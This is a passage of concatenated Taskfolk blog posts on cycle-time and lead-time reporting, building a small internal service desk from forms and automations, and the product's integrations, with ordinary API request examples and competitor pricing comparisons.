![Taskfolk project summary overview with the median lead time KPI labeled in the strip](/images/blog/how-to-read-the-project-summary-overview.webp) State the limit plainly: cycle time only exists when issues actually pass through an In Progress status. Skip that state and there is no cycle to measure, so you get lead time only, and Taskfolk says so rather than dressing a lead time up as a cycle time. A number you cannot trace to a real start is worse than no number, because it walks into standup looking confident. Both "our cycle time is 4 days" and "we are actually looking at lead time" are fine answers, but only one is true for your team, and the tool will not guess wrong on your behalf. ## Reading the numbers: median, p75, and the histogram Say the report found real In Progress transitions and you are looking at genuine cycle time. Now what? Not the average. Averages lie about cycle time, and it is not a close call. One issue that sat blocked for 40 days drags the mean of an otherwise-tight distribution somewhere unrecognizable. The 55degrees guidance is explicit: do not average cycle times, because a single large delay skews the mean, and read percentiles instead. Taskfolk does not show a mean at all. It reports two percentiles and a shape: - **p50, the median (labeled "Median").** The typical case. Half your finished work took this long or less. The honest "usually" number. - **p75 (labeled "p75").** Three quarters of your work came in at or under this. Your commitment number, the one to lean on when you tell someone "most of the time it is done within N days." Both use true linear interpolation between the sorted samples, not a nearest-rank shortcut, so a p75 on a sample of 9 lands between the real values rather than snapping to the closest row. Then there is the histogram, where the real reading happens. Taskfolk buckets every finished issue into five fixed buckets and calls out where the median falls: under 1 day, 1 to 3 days, 3 to 7 days, 1 to 2 weeks, and an open-ended 2 weeks plus. A tight cluster in one or two buckets means you are predictable and can plan against it. A long tail into "2w+" means something is inconsistent, and that tail is worth investigating (usually a class of work that keeps getting blocked, or a review step that stalls). ![The Taskfolk cycle time report card: a five-bucket histogram with bars at 3-7d, 1-2w and 2w+, and the insight line "Median cycle is 11.2d across 6 completed issues"](/images/blog/cycle-time-vs-lead-time-histogram-card.webp) ### Reading a real cycle time histogram, bucket by bucket The card above is a live example from a demo project, and it is worth reading the way you would read your own. Six issues finished in the window. Nothing finished in under a day, a small group landed in 3 to 7 days, the tallest bar sits at 1 to 2 weeks, and there is a real tail past two weeks. The median works out to 11.2 days. So this team's honest answer to "how long does a task take once we start it" is: usually about a week and a half, sometimes worse, never same-day. The same project's report header tells the other half of the story: median lead time is 14.9 days. That 3.7-day gap between lead and cycle is queue time, work sitting in the backlog before anyone picks it up. Nothing about the team's coding speed will close that gap; only intake and prioritization will. This is exactly the kind of sentence a histogram plus two medians lets you say out loud, and it is a far better standup contribution than an average. Be clear about what this view does not give you, because it is deliberately narrow. Taskfolk reports p50 and p75, and that is the whole percentile menu; practitioners who prefer the 85th or 95th percentile for planning will not find them here. There is no scatterplot, and no per-stage breakdown of how much of the cycle was pickup versus coding versus review. It is a median, a p75, and a five-bucket histogram. That is a deliberate ceiling, not an oversight, and whether it is enough depends on how much rigor your planning needs. ## What a cycle time report should actually contain A useful cycle time report is a short checklist, and most dashboards fail at least one item on it: - **A stated clock.** The report must say where the timer starts: first In Progress transition, or issue creation. A number without a start line is unfalsifiable. Taskfolk states the basis on the card, including when it fell back to created-to-done. - **A stated window and sample size.** "Median 4 days" over 200 issues resolved this quarter is information; over 3 issues it is a coin flip. The card shows both the window and how many issues are in it. - **Percentiles, not a mean.** p50 for the typical case, p75 for the commitment you can say to a stakeholder. One blocked outlier should not be able to move the headline. - **A distribution, not just a summary.** The histogram is where you see whether the median describes a tight cluster or papers over a split population. - **A way out.** Every Taskfolk report card has a Download CSV button; the cycle time card exports the bucket counts so you can chart them in a spreadsheet or a slide without screenshotting the app. ![The Taskfolk reports header for a project: KPI tiles for open, in progress, completed, created, and median lead time, with a week / month / quarter period switch](/images/blog/cycle-time-vs-lead-time-reports-kpis.webp) Lead time gets the same treatment at the top of the page: median lead time is a headline KPI tile next to open, in-progress, and completed counts, so the requested-to-shipped number stakeholders care about is visible before any chart. ## How to watch the cycle time trend Taskfolk deliberately ships a distribution, not a trend line, so the trend question is answered by comparison rather than by one chart: - **Switch the window.** The period toggle recomputes every report over the last week, month, or quarter. If the monthly median sits well above the quarterly one, your recent work is slower than your baseline, and the histogram will usually show the tail growing first. - **Watch throughput next to it.** The throughput card plots created versus resolved per week. When created outruns resolved for a few weeks, your queue is growing, and lead time will drift up even while cycle time holds steady. That divergence is the earliest trend signal you can act on. - **Export and accumulate.** For a long-baseline trend, download the CSV at a regular cadence and keep the medians in a spreadsheet. Five numbers a month is enough to see direction, and it survives tool migrations. One caution: on small samples, medians jump around. A team finishing six issues a month should read direction over quarters, not weeks, and resist re-planning around every wobble. ## If you are searching for a "cycle time gadget" That phrasing usually means one thing: you are on Jira and looking at its dashboard gadget gallery. In company-managed Jira the classic answer is the board's Control Chart; histogram-style cycle time gadgets for dashboards mostly come from marketplace apps, which is why the search results are full of plugin names; team-managed projects have their own cycle time report with different mechanics. It all works, but the capability lives one add-on or one board-type decision away from the dashboard you are looking at. In Taskfolk the equivalent is not a gadget, it is a built-in card on every project's Reports page: the five-bucket histogram, the median and p75, the stated basis, and the CSV export, computed from the same activity log the rest of the product uses. Nothing to install, nothing to configure per board. If you are weighing the two systems more broadly, the [Taskfolk vs Jira](/vs/jira) page covers pricing and the rest of the feature surface. ## How Taskfolk, Jira, and Linear compare on flow metrics If you are weighing tools, here is the honest, factual version, all as of July 2026. The three take genuinely different approaches, and two of them do things Taskfolk deliberately does not. **Jira** gives you two separate things. Its Control Chart shows cycle time (or lead time, it is configurable) for a product, version, or sprint by taking the time an item spent in a status or set of statuses over a period, plotting the average, a rolling average, and the standard deviation. Separately, a newer cycle time report defines cycle time as the time from a work item's first commit until the code is shipped, shown as a scatterplot of items shipped per week with a weekly median trend line. That newer report is code-centric and has a real dependency: it needs deployment events from a connected CI/CD tool (Bitbucket, GitHub, GitLab, Jenkins, or CircleCI) plus commit events, and it captures only the most recent deployment. It measures something closer to engineering delivery than board flow, and only works if your pipeline is wired in. **Linear** Insights measures Cycle Time as time from issue start to completion (only plotting issues that spent time in progress before completion) and Lead Time as time from issue creation to completion. Both are scatterplots, with hover markers for the 25th, 50th, 75th, and 95th percentiles. That is a richer visual than Taskfolk's histogram and a fuller percentile spread. The catch is availability: Linear Insights is on the Business and Enterprise plans only, not Free. Linear's pricing is Free at $0, Basic at $10 per user per month billed yearly, and Business at $16 per user per month billed yearly, with Enterprise custom; Insights first appears at the Business tier. **Taskfolk** reports a median, a p75, and a five-bucket histogram, with the honest basis fallback above, on every plan including Free, because reporting is a base feature. Its pricing is Free at $0, Pro at $3 per editor seat per month, and Business at $6 per editor seat per month, with viewers free and agent members never counting as billed seats. | Flow metrics, as of July 2026 | Taskfolk | Jira | Linear | |---|---|---|---| | Cycle time | Median + p75, In Progress to Done | Control Chart (time in status) + newer report: first commit to shipped | Scatterplot, issue start to completion | | Lead time | Created to Done, incl. honest fallback | Control Chart, configurable to lead time | Scatterplot, creation to completion | | Percentiles shown | p50, p75 | Average, rolling average, std dev | 25 / 50 / 75 / 95 | | Visual | Five-bucket histogram | Control Chart / scatterplot | Scatterplot | | CI/CD-based cycle time | No | Yes (needs connected pipeline) | No | | Flow metrics on free plan | Yes (reporting is a base feature) | Free tier exists; per-plan details not covered here | No (Insights is Business+) | | Entry price | $0 Free, $3/$6 per editor seat | Free tier available | $0 Free, $10 Basic, $16 Business (yearly) | The generous read: Jira's CI/CD-correlated cycle time and Linear's percentile scatterplots do real things Taskfolk does not attempt. If you want to correlate cycle time with deploys, Jira's newer report is built for that; if you want a 95th-percentile scatterplot, Linear gives you one. Taskfolk's angle is narrower on purpose: a calm median-and-histogram on every plan including Free, with a report that tells you when it is actually showing lead time. It is not a configurable report builder, and does not pretend to be. The [reports and insights walkthrough](/docs/project-reports-and-insights) covers the rest of the surface, and the [project summary guide](/docs/how-to-read-the-project-summary) covers the KPI strip where the cycle-time number also appears (labeled "Median lead time" there, since that surface leads with the end-to-end figure). ## Fixing your data so cycle time becomes real If your report fell back to lead time, do not go looking for a setting to flip. There isn't one, and that is intentional. The fix is workflow hygiene, and it is small. Move cards into In Progress when work actually starts. That is the whole thing. The report fell back because fewer than half your finished issues ever recorded an In Progress transition, which happens when people drag straight from Todo to Done. Break that habit and the transitions start landing in the activity log on their own. Two things make it stick: keep an In Progress column mapped to the In Progress category, so there is somewhere for work to land, and let the activity log accumulate real transitions as your team works normally, since every status change is recorded automatically. ![Taskfolk board statuses tab showing custom columns mapped to their status categories](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) The board statuses tab above is where you confirm the mapping. Each named column shows which category it belongs to, so you can check that your "In Progress" (whatever you call it) points at the In Progress category and not, say, Todo. One encouraging note: this is retroactive-ish. You cannot invent transitions for issues that already skipped In Progress, but once real transitions start landing, the next window's report has enough of them to compute genuine cycle time, and the card flips its basis back from created to In Progress on its own. It ends up measuring what your team actually does, which is the only version worth trusting in standup. If you want to see where both clocks already live in your own project, open the Reports page and the summary in any Taskfolk workspace and check which basis your cycle-time card is on. --- # A lightweight service desk from forms, automations, and a board URL: https://taskfolk.ai/blog/lightweight-service-desk-with-forms-and-automations Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: service desk, forms, automation, workflow, comparison, pricing Lightweight service desk for small teams: build one from a public intake form, routing rules, automations, and a board with a review gate. Honestly costed vs JSM. Your IT guy gets access requests in Slack DMs, design requests in a group chat, and hardware asks in the hallway. Nothing has a status, nothing gets closed, and the same question gets asked three times. You do not need Jira Service Management for this. You need a form, a few routing rules, and a board with a review gate, which is exactly what this guide assembles, plus an honest list of what a lightweight service desk for small teams cannot do. ## Why full ITSM is overkill for a five-person team The problem is almost never that your team lacks tooling. It is that internal requests have no home. Someone asks for a staging database password in a DM, someone else requests a new landing page banner in the design channel, and a third person mentions their laptop battery in passing. Each request depends on one person remembering it exists. There is no status, no owner, and no history, so the requester asks again in three days and the person handling it starts from zero. Full ITSM platforms solve a much bigger problem than this. Jira Service Management, to pick the obvious one, gives you SLA clocks counted against working-hours calendars, on-call schedules with escalation policies, asset management, and a customer portal where requesters log in and track their tickets. That is real machinery, and to be fair to Atlassian, the entry price is hard to argue with: the Service Collection Free plan is $0 forever for up to 3 agents, and it includes on-call with escalations, the customer portal, customizable intake forms with queues, and an embedded knowledge base, as of July 2026. If you run a genuine support operation with three or fewer agents, that Free tier is a good deal, full stop. But an internal desk for a five-person team uses almost none of it. Nobody is paging anyone at 3am over a Figma access request. Nobody needs a CMDB to track four laptops. And once you outgrow 3 agents, the pricing changes character: JSM Standard runs $25 per agent per month at a 5-agent team size, roughly $125 a month, as of July 2026. That buys a branded help center and audit logs, which is great if you run a real support operation and irrelevant if you just want requests to stop living in chat. That last sentence is the whole 80% case. Requests need to stop living in chat. That is all. What follows is the smallest setup I know of that gets you there. ## What Taskfolk honestly can and cannot do as a service desk Before any how-to, here is the candid version, so nobody spends twenty minutes building something that misses a requirement. What Taskfolk can do as a desk: - A public, branded intake form at a shareable URL. Submitters need no account and never see your workspace. - Routing defaults that stamp every submission with a type, priority, assignee, labels, sprint, and a specific board column. - Deterministic automations that run on every form-created issue: set priority, assign, label, comment, notify an agent. - Human-run bulk AI triage from the list view, with suggestions validated against your project's real labels. - Custom board columns with enforced transition rules, so "nothing closes without review" is a hard rule. - An opt-in confirmation email to the requester carrying the issue key. What Taskfolk cannot do, and this list matters more: - No SLA timers or breach clocks of any kind. No time-to-first-response goals, no working-hours calendars, nothing that measures whether you answered fast enough. - No asset or configuration management. You cannot link a ticket to a laptop or a license. - No on-call schedules, alerting, or escalation policies. This is not an incident tool. - No email-to-ticket address. Intake is the form (or the API), not a support inbox. - No requester portal. An anonymous submitter gets one confirmation email, if the form enables it and they left an email, and then silence. They cannot log in to check status, and they get no email when the ticket moves or closes. The only way to give a requester visibility is to make them a workspace member, which is free for viewers. So here is the verdict up front. If you answer to contractual SLAs, run incidents, or serve external customers who expect a ticket portal, use JSM or something like it and skip the rest of this post. JSM does those things well, and the portal and on-call are included even on its Free tier. If your requesters are the nine people already on your team, keep reading. ## Step 1: build the branded intake form The intake surface is a form. Create one in your project's Forms tab and you get a builder with 14 field kinds: short text, long text, select, multi-select, number, date, email, radio, phone, URL, rating, section headers, file upload, and checkbox. Conditional visibility rules let you show a "which system?" dropdown only when someone picks "access request", so one form can stay short for the common case and grow for the complicated one. ![Taskfolk form builder showing the build tab with field kinds and settings](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) Fields map onto the issue the submission creates. A short text field can become the issue title, a long text field the description, and a select or radio field whose options are priority names writes the priority directly. That mapping is what makes this a desk rather than a survey: the submission arrives as a real, structured ticket, not a row in a spreadsheet someone has to re-enter. Branding matters more than it sounds. Add your logo, an accent color, and a cover image, and the form reads as "our internal helpdesk page" instead of "a link someone pasted". Then share the public URL. Every form gets a `/f/` address with a long random token, submitters need no account, and they never see the workspace behind it. The guardrails are the part people skip and regret. Forms ship with per-IP rate limiting, and depending on the form you may want one response per email, a close date, or a response limit. One cap to know about: on the Free plan, file fields accept at most 1 MB per upload, against 128 MB of total workspace storage. Screenshots from requesters fit comfortably. Screen recordings mostly will not, so tell people to link videos rather than attach them, or plan on Pro where the per-file cap goes away. The full walkthrough of the builder, mappings, and guardrails is in [how to set up a request form](/docs/how-to-set-up-a-request-form). ## Step 2: routing defaults so every request lands pre-sorted A form on its own is a suggestion box. Routing defaults are what turn it into a desk. Every submission gets stamped with a default issue type (task, story, or bug), a priority, an assignee, labels, a sprint if you want one, and, the piece that changes daily life, a default board column. Point the form at an "Incoming" or "Triage" column and requests land there directly, visible on the board the moment they arrive, instead of sinking into the backlog where nobody looks. The pattern that works in practice is one form per request category. An IT access form routes to the admin with an `access` label. A design request form routes to the designer with a `design` label. A hardware form routes to whoever owns the equipment drawer. Each one lands pre-sorted with an owner already attached, so triage is a glance rather than a meeting. Here is the whole pipeline a submission travels: ```mermaid flowchart LR A[Form submission] --> B[Routing defaults applied] B --> C[Issue created in Incoming column] C --> D[issue.created automations run] D --> E[Owner notified in-app and by email] E --> F[Optional confirmation email to requester] ``` Nothing in that chain requires a human until the issue is already sitting in the right column with the right owner. The detailed version of this step, including how defaults interact with field mappings, is in [turn a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue). ## Step 3: automations that work the queue for you Form-created issues run your workspace's `issue.created` automations, the same rules that fire for issues created any other way. A rule has conditions (matched with AND or ANY across project, type, priority, status, assignee, label, and title) and actions. Nine actions are available: set status, set priority, assign, unassign, add label, remove label, move to sprint, add a comment with placeholders like the issue key or assignee name, and notify an agent. ![Taskfolk automations list showing active rules with triggers and actions](/images/blog/how-to-set-up-automations-list.webp) Two rules cover most of what a small desk needs. First: if the title contains "urgent", set priority to high and notify the on-duty person. Second: if the title or a label contains "access", assign to the admin who holds the keys. Both are deterministic. They fire the same way every time, which for a desk is exactly what you want, because "the rule did not feel like firing today" is not a failure mode you can debug. Now the honest part, and I am putting it inline rather than in a footnote because it changes the price of this whole recipe. Automations are a paid feature. They work during the 14-day Pro trial your first workspace gets, and after that, on the Free plan, your rules simply do not fire. Not throttled, not delayed. Off. The enforcement happens both when you try to enable a rule and again at execution time, so there is no loophole. That means the honest floor for the full recipe in this post is Pro, at $3 per editor seat per month as of July 2026. Pro caps you at 20 active rules, which for an internal desk is roughly 18 more than you need. You can run steps 1, 2, 5, and the requester loop on Free. The form, the routing defaults, and the board all work at $0. You lose the automatic urgency handling and auto-assignment, which is the difference between a desk that sorts itself and a desk someone sorts each morning. Details and more rule patterns are in [how to set up automations](/docs/how-to-set-up-automations). ## Step 4: AI triage, without pretending it is hands-free Let me kill an expectation before anyone builds a workflow on top of it: Taskfolk's autonomous AI triage does not fire on form submissions. It only triggers on interactive issue creation, the dialog a signed-in member uses. Form submissions, CSV imports, and API creates deliberately never trigger it. That is a storm-prevention choice, documented in the code, and I think it is the right one: nobody wants a hundred spam submissions burning AI credits at 2am. But it means any pitch that your inbound requests "get classified by AI with zero clicks" would be false, so I am not making it. What actually works is a short human ritual. Once a day, open the list view, select the new requests sitting in your Incoming column, and run the bulk AI triage modal. It suggests labels, a priority, and a type for each one, and the suggestions are validated against your project's real label palette and priority enum, so it cannot invent a label you do not have. You review the suggestions and apply the ones that look right. ![Bulk AI triage modal in the list view suggesting labels and priorities for selected issues](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) It spends workspace AI credits: 25 a month on Free, 5,000 on Pro, so the Free grant covers a light desk and Pro effectively removes the ceiling. There is also a rate limit of 10 triage calls per minute per user, which you will never hit doing this by hand. Is a daily two-minute ritual worse than fully automatic classification? Sure. Is it fine for an internal desk handling a dozen requests a week? Completely. The deterministic automations from step 3 catch the patterns you can name in advance, and the bulk triage sweep catches the rest. ## Step 5: a board with a real review gate The board is where the desk becomes visible. Taskfolk gives every project custom named, colored columns on top of 7 fixed status categories (backlog, todo, in progress, in review, done, failed, cancelled). For a desk, rename and extend the defaults into a pipeline that matches how requests actually flow: Incoming, Triage, In progress, Waiting on requester, Review, Done. Each column maps to one of the fixed categories, which keeps reporting and the "is this open?" logic sane underneath your custom names. ![Board statuses tab in project settings showing custom columns mapped to status categories](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) The part with teeth is the transition rules. Allowed-transition rules are enforced on every status write path, not just the board UI: drag a card, edit the issue, hit the API, it does not matter. Set up "In progress can only move to Waiting on requester or Review" and "only Review can move to Done", and now "nothing reaches Done without passing Review" is a hard rule the system enforces, not a convention that erodes the first busy week. For a two-person desk that sounds like overkill until the first time someone closes an access request without actually granting the access. Per-column WIP limits round it out. Cap In progress at 3 and the desk owner physically cannot end up juggling 15 half-done requests. The board shows the limit and pushes back. If the board itself is new territory, [how to use a kanban board](/docs/how-to-use-a-kanban-board) covers the basics, and the same column-plus-gate pattern shows up in [bug tracking workflow from report to fix](/blog/bug-tracking-workflow-from-report-to-fix). ## Closing the loop with the requester (and the portal gap) Here is what the requester actually experiences, stated plainly, because this is where a lightweight service desk for small teams differs most from the real thing. If you enable the confirmation email on the form (it is opt-in) and the submitter left an email address, they get one message: the issue key and your success text. That is the last email an anonymous submitter ever receives. No update when the status changes, no note when the ticket closes, no portal to log into. From the outside, the ticket goes into a well-organized black hole. If most of what arrives is product ideas rather than incidents, [a feedback board people can vote on](/docs/how-to-track-and-vote-on-feedback) closes that loop better than a ticket queue. For an internal desk there is a workaround that genuinely works: your requesters are your teammates, and teammates can be workspace members. Viewer seats are free on every plan, so add the whole team as viewers. Then they can open their ticket, watch it move across the board, and receive the normal notifications: assigned, mentioned, comment replies, and status changes, delivered in-app and by email with a per-user preferences matrix so nobody drowns. A requester who can see their ticket sitting in "Waiting on requester" tends to answer the blocking question without being chased. The whole notification surface is documented in [notifications and watching issues](/docs/notifications-and-watching-issues). ![Taskfolk notifications inbox showing assigned, mention, and status change notifications](/images/blog/notifications-and-watching-issues-inbox.webp) For a truly external audience, contractors, clients, the public, this is the point where I concede the ground. People outside your org expect a portal where they log in, see "In progress", and read updates. JSM ships that, including on its Free tier, and no amount of workaround assembles it from these parts. ## Let an agent or a script work the queue One more layer for teams experimenting with AI agents on the desk. Assigning a form-routed request to an AI agent in Taskfolk is a real delegation: it opens a pending session on the agent hub and pushes a wake-up to the agent, and the `notify_agent` automation action can do the same from a rule, so "anything labeled `access` pings the provisioning agent" is one automation away. Per-agent field allowlists limit what an agent is allowed to write, and sessions that produce no attributed activity get flagged as unverified, which is the right amount of paranoia for first-line triage. Under the hood this is the same REST API a cron script can use. Pulling the incoming access queue is one authenticated GET, and the MCP tools derive from the same API, so a Claude-style agent gets the identical view: ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/projects/DESK/issues?status=todo&label=access" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/DESK/issues?status=todo&label=access", { headers: { Authorization: "Bearer " + process.env.TASKFOLK_API_KEY } }, ); const { data } = await res.json(); ``` ```python import os, requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/DESK/issues", params={"status": "todo", "label": "access"}, headers={"Authorization": "Bearer " + os.environ["TASKFOLK_API_KEY"]}, ) data = r.json()["data"] ``` ```json { "data": [ { "id": "0197f3a2-4b1c-7e02-9d3a-8c5e2f1a0b64", "key": "DESK-42", "type": "task", "title": "Staging database access for Lena", "status": "todo", "status_name": "Incoming", "priority": "high", "assignee_id": "0197e1b0-2a9f-7c11-b4d2-6e8a9c3f5d21", "labels": [{ "id": "0197c9d4-1f3e-7a05-8b2c-4d6e0a9f7c33", "name": "access", "color": "#ffd60a" }] } ], "pagination": { "next_cursor": null } } ``` The `status` filter takes the category (`todo`, `in_progress`, and so on), `label` accepts a label name or id, and `assignee=me` resolves to the calling key's own user, which is how an agent asks "what is on my plate". `status_name` carries your custom column name, so a script can tell Incoming from Triage even though both map to the same category. ## What a lightweight service desk for small teams costs, and when to pick JSM All figures as of July 2026, monthly billing. | Plan | Price | What you get for a desk | |---|---|---| | JSM / Service Collection Free | $0, up to 3 agents | Requester portal, on-call with escalations, alerting, intake forms with queues, knowledge base | | JSM Standard | $25/agent/month at 5 agents, about $125/month | Everything in Free plus branded help center, unlimited email notifications, audit logs | | JSM Premium | $57.30/agent/month at 5 agents | Adds the Assets app for asset and configuration management | | Taskfolk Free | $0 | Form, routing defaults, board with transition gates; automations stop after the 14-day first-workspace trial | | Taskfolk Pro | $3/editor seat/month, viewers and AI agents free | Adds automations (20 rules), 5,000 AI credits, 1 GB storage, no per-file cap | And the decision guide, which is more useful than the price list: | Your situation | Pick | |---|---| | Contractual SLAs with response-time targets | JSM. It has named SLAs with time targets, working-hours calendars, and start/pause/stop conditions. Taskfolk has no SLA machinery at all. | | On-call rotations, incidents, escalation | JSM, even on Free. | | Anonymous external requesters who expect a portal | JSM. Its Free tier includes the portal. | | Tracking tickets against laptops and licenses | JSM Premium, which bundles Assets. | | Internal requests from people already on your team | The recipe in this post, at $15/month for five editors on Pro. | Notice something in that first table: JSM Free is cheaper than Taskfolk Pro. Three agents at $0 beats five editors at $15. So the pitch here is not price. It is that a small team gets its desk and its project work in one tool, with one board vocabulary, one set of members, and no second system to check, and that the whole setup is four screens of configuration rather than an ITSM rollout. If per-seat pricing is what sent you looking beyond Atlassian in the first place, [Jira alternatives priced per seat](/blog/jira-alternatives-price-per-seat) covers the wider field. If your requests currently live in chat, create a form, point it at an Incoming column, and send your team the link. [Start free](/pricing), and the first workspace's trial lets you test the automation rules before deciding whether the $3 seat is worth it. For a desk that sorts itself, it usually is. --- # Taskfolk integrations: the marketplace, OAuth apps, and the API URL: https://taskfolk.ai/blog/taskfolk-integrations-marketplace-and-oauth-apps Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: integrations, developer, API, MCP, AI agents Taskfolk integrations explained: the 12-card marketplace, signed webhooks, scoped API keys, a first-party MCP server, and OAuth apps, plus what is missing and why. Ask an AI answer engine whether Taskfolk has integrations and you may get a flat "no plugin marketplace." That answer is true in the narrowest sense and wrong in every way that matters. Taskfolk integrations live in two places: a curated marketplace inside the developer console with 12 cards, and an API-first extension surface built from scoped keys, signed webhooks, a first-party MCP server with over 180 tools, and an OAuth 2.0 apps platform. This post lays out what actually ships and why Taskfolk chose curated plus API-first instead of a paid third-party plugin store. ## No plugin store does not mean no integrations The mistake evaluators (and the AI engines trained on their write-ups) keep making is treating "marketplace with paid third-party plugins" and "integrations exist" as the same question. They are not. Jira answers yes to both. Taskfolk answers no to the first and yes, emphatically, to the second. Open the developer console in any workspace and the last tab is titled Integrations, with the subtitle "Connect Taskfolk to the tools your team already uses. Import history, sync events, or automate workflows." That tab is the curated layer: 12 first-party cards covering source control, chat notifications, migration, automation platforms, and AI agents. ![Taskfolk developer console overview, the entry point for all integrations](/images/blog/how-to-use-the-rest-api-developer-overview.webp) The second layer is the one the cards sit on top of. Every card resolves to an open surface you could have built against yourself: API keys with a 45-scope catalogue, webhooks with Stripe-style signatures, an MCP server generated from the OpenAPI spec, an agent skill file, and workspace-registered OAuth apps. Two honest statements up front, because this post exists to correct the record, not to spin it the other way. First, there is no third-party plugin install flow and no paid plugins. Nothing from an outside vendor runs inside your workspace. Second, that is a deliberate design position, not a roadmap gap, and the last section explains the reasoning and when it should push you toward Jira or Linear instead. One more fact worth knowing before the details: "integrations" sits in Taskfolk's BASE_FEATURES list, which means the whole surface described here is available on the Free plan. ## What is actually in the Taskfolk integrations marketplace The marketplace is built by a single function, `buildApps` in `MarketplaceTab.tsx`, so the card list is not a moving target. There are exactly 12 cards, filterable by five category pills: All, Import, Notifications, Dev tools, and AI & agents. Each card is in one of three states, connected, available, or coming soon, and "Connected" is not a static badge. It is derived live from workspace data every time the tab loads. | Card | Category | How it connects | How "connected" is detected | |---|---|---|---| | GitHub | Dev tools | Push webhook at workspace settings | Any project has a `repo_integrations` row | | Slack | Notifications | Paste an Incoming Webhook URL | Any webhook exists in the workspace | | Jira | Import | Deep-links to the import wizard | A completed import job with source `jira` | | Linear | Import | Deep-links to the import wizard | A completed import job with source `linear` | | CSV | Import | Deep-links to the import wizard | Always shows as available | | Claude / MCP | AI & agents | MCP server at `/api/mcp/v1` | Always shows as available | | Zapier | Dev tools | Webhooks by Zapier catch hook URL | Any webhook exists in the workspace | | n8n | Dev tools | Webhook trigger node URL | Always shows as available | | Email notifications | Notifications | Built in | Always connected | | Node SDK | Dev tools | SDK tab; typed client from the OpenAPI spec (npm package marked coming soon) | Always shows as available | | REST API | Dev tools | API key from the Keys tab | Always shows as available | | Cursor / Windsurf | AI & agents | MCP connect snippet from the Skills tab | Always shows as available | One correction to a claim that keeps circulating in third-party comparisons: Trello, ClickUp, Asana, and Monday are not marketplace cards. They are import sources. `IMPORT_SOURCES` in the import connectors module lists sample, trello, clickup, jira, monday, linear, and asana, plus CSV. The marketplace only surfaces Jira, Linear, and CSV as cards, and all three of those deep-link to the same import wizard the other sources use. If a review dings Taskfolk for "no Trello integration," the reviewer never opened the import page. ## Slack, Zapier, and n8n run on signed webhooks There is no native Slack app and no Zapier directory listing. All three of these cards ride on Taskfolk's outbound webhook system, which is worth understanding on its own terms because it is the piece you would build automations on anyway. The v1 webhook publisher emits 14 event types: `issue.created`, `issue.updated`, `issue.archived`, `issue.restored`, `comment.created`, `comment.updated`, `comment.deleted`, `doc.created`, `doc.updated`, `doc.archived`, `member.added`, `member.removed`, `member.role_changed`, and `workspace.updated`. You can subscribe to specific events or use the `*` wildcard. ![Creating a webhook in the Taskfolk developer console](/images/blog/how-to-use-webhooks-create-modal.webp) Every delivery carries a Stripe-style signature header, `X-Taskfolk-Signature: t=, v1=`. The HMAC-SHA256 runs over the timestamp, a dot, and the raw body, and the key is the SHA-256 hash of your webhook secret rather than the secret itself, so Taskfolk never stores the plaintext. If you have verified a Stripe webhook, the code transfers almost line for line. The full walkthrough is in [how to use webhooks](/docs/how-to-use-webhooks). Slack is the zero-config case. Paste a `hooks.slack.com` Incoming Webhook URL as an ordinary webhook target and the publisher detects the host and sends Slack's `{text, blocks}` message format instead of the raw event envelope. No separate credentials, no new schema, no app approval from a Slack admin. Zapier and n8n both consume the raw envelope. Two honest costs on the Zapier path. Taskfolk is not listed in Zapier's app directory, so you use the generic Webhooks by Zapier trigger, and that trigger is a Premium feature: as of July 2026 it requires a paid Zapier plan. The cost sits on Zapier's side, not Taskfolk's, but it is real money if you were planning to automate on Zapier's free tier. Zapier's directory advertises thousands of apps (their own count is now 9,000+), so once an event lands in a Zap it can go nearly anywhere. n8n is the cheaper pairing: its Community Edition is free and self-hosted, which fits neatly with teams who want automation without another SaaS bill. Limits, stated plainly: no native Slack app means no slash commands and no bidirectional sync. Slack cannot create Taskfolk issues, only receive events. And the v1 event list defers `attachment.uploaded` and `webhook.disabled` to v2. ## Moving in from Jira, Trello, ClickUp, Asana, Linear, or Monday The import wizard is migration, not live sync. You run it once, your history lands in Taskfolk, and the old tool becomes read-only in your life. Nothing keeps the two systems talking afterward, and Taskfolk does not pretend otherwise. ![Choosing an import source in the Taskfolk workspace import wizard](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) Sources cover the tools people leave most often: Trello, ClickUp, Jira, Monday, Linear, Asana, a sample dataset for trying the flow, and plain CSV for everything else. Small imports run inline with a 500-row limit; larger ones hand off to a background worker with a hard ceiling of 50,000 rows. Per-plan caps as of July 2026: Free imports up to 1,000 rows, Pro 10,000, Business 50,000. The wizard mechanics are in [how to import your project](/docs/how-to-import-your-project), and the tool-by-tool mapping notes are in [the migration guide](/blog/migrate-from-jira-trello-asana-to-taskfolk). The contrast with what you are leaving is mostly about ongoing cost. On Atlassian Marketplace, paid apps must license-match your entire Jira tier: Atlassian's own developer docs state that paid app licenses "have to exactly match the Atlassian host app license," and the app tier upgrades in lockstep when your Jira tier does. A plugin that five people use bills across all five hundred seats. Trello's Free plan includes unlimited Power-Ups per board, which is generous, though Trello's paid-plan copy notes that some partner Power-Ups carry their own subscription fees on top. Neither of those is a scandal. Both are worth knowing before you compare "Taskfolk has 12 integrations" against "Jira has thousands" as if the thousands were free. ## GitHub: commit refs on timelines and tag-push releases The GitHub integration is the one card backed by a dedicated inbound pipeline rather than the generic webhook publisher. You manage it at `/w//settings/integrations`: register a push-event webhook on your repo, and Taskfolk verifies each delivery with the `X-Hub-Signature-256` HMAC using a timing-safe compare. ![The GitHub card in workspace integration settings](/images/blog/how-to-connect-github-integrations-tab.webp) Once connected, commit messages do the work. The parser extracts `#KEY-NUM` references and leading `KEY-NUM` prefixes from each commit and attaches them to the matching issue timelines as `commit_refs` rows, so an issue's activity feed shows the commits that touched it. Tag pushes can go further and auto-ship releases. The marketplace card flips to "Connected" the moment any project in the workspace has a `repo_integrations` row. Honest scope: this is commit linking and release automation, not a full GitHub App. There are no PR status checks, no branch automation, and no write-back to GitHub. Setup details are in [how to connect GitHub](/docs/how-to-connect-github). ## The API-first core: keys, scopes, and one write choke point Here is the actual integration story, the one the marketplace cards are a veneer over. Taskfolk's v1 REST API 